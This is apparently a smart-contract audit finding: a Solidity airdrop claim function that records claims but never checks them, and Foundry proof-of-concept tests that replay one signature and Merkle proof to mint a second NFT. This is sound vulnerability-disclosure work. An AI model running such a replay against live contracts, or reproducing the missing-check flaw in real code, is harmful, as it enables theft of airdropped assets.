function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external
nonReentrant
{
@
if (receiver == address(0)) {
revert SA__ZeroAddress();
}
if (i_snow.balanceOf(receiver) == 0) {
revert SA__ZeroAmount();
}
if (!_isValidSignature(receiver, getMessageHash(receiver), v, r, s)) {
revert SA__InvalidSignature();
}
uint256 amount = i_snow.balanceOf(receiver);
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert SA__InvalidProof();
}
i_snow.safeTransferFrom(receiver, address(this), amount);
@ s_hasClaimedSnowman[receiver] = true;
emit SnowmanClaimedSuccessfully(receiver, amount);
i_snowman.mintSnowman(receiver, amount);
}
pragma solidity ^0.8.24;
import {Test} from "forge-std/Test.sol";
import {Snow} from "src/Snow.sol";
import {Snowman} from "src/Snowman.sol";
import {SnowmanAirdrop} from "src/SnowmanAirdrop.sol";
import {Helper} from "script/Helper.s.sol";
contract ReplayClaimTest is Test {
Snow private snow;
Snowman private snowman;
SnowmanAirdrop private airdrop;
Helper private helper;
bytes32 private constant AL_PROOF_A =
0xf99782cec890699d4947528f9884acaca174602bb028a66d0870534acf241c52;
bytes32 private constant AL_PROOF_B =
0xbc5a8a0aad4a65155abf53bb707aa6d66b11b220ecb672f7832c05613dba82af;
bytes32 private constant AL_PROOF_C =
0x971653456742d62534a5d7594745c292dda6a75c69c43a6a6249523f26e0cac1;
bytes32[] private AL_PROOF = [AL_PROOF_A, AL_PROOF_B, AL_PROOF_C];
address private alice;
uint256 private aliceKey;
address private relayer;
function setUp() public {
helper = new Helper();
(airdrop, snow, snowman,) = helper.run();
(alice, aliceKey) = makeAddrAndKey("alice");
relayer = makeAddr("relayer");
}
function _signForAlice() internal returns (uint8 v, bytes32 r, bytes32 s) {
bytes32 digest = airdrop.getMessageHash(alice);
(v, r, s) = vm.sign(aliceKey, digest);
}
function _approveSnow() internal {
vm.prank(alice);
snow.approve(address(airdrop), 1);
}
function test_ReplayClaimAfterRebuyingSnow() public {
_approveSnow();
(uint8 v, bytes32 r, bytes32 s) = _signForAlice();
vm.prank(relayer);
airdrop.claimSnowman(alice, AL_PROOF, v, r, s);
assertEq(snowman.balanceOf(alice), 1);
uint256 fee = snow.s_buyFee();
vm.deal(alice, fee);
vm.prank(alice);
snow.buySnow{value: fee}(1);
_approveSnow();
vm.prank(relayer);
airdrop.claimSnowman(alice, AL_PROOF, v, r, s);
assertEq(snowman.balanceOf(alice), 2);
}
function test_ClaimSucceedsEvenWhenClaimStatusTrue() public {
_approveSnow();
(uint8 v, bytes32 r, bytes32 s) = _signForAlice();
vm.prank(relayer);
airdrop.claimSnowman(alice, AL_PROOF, v, r, s);
assertTrue(airdrop.getClaimStatus(alice));
uint256 fee = snow.s_buyFee();
vm.deal(alice, fee);
vm.prank(alice);
snow.buySnow{value: fee}(1);
_approveSnow();
vm.prank(relayer);
airdrop.claimSnowman(alice, AL_PROOF, v, r, s);
assertEq(snowman.balanceOf(alice), 2);
}
}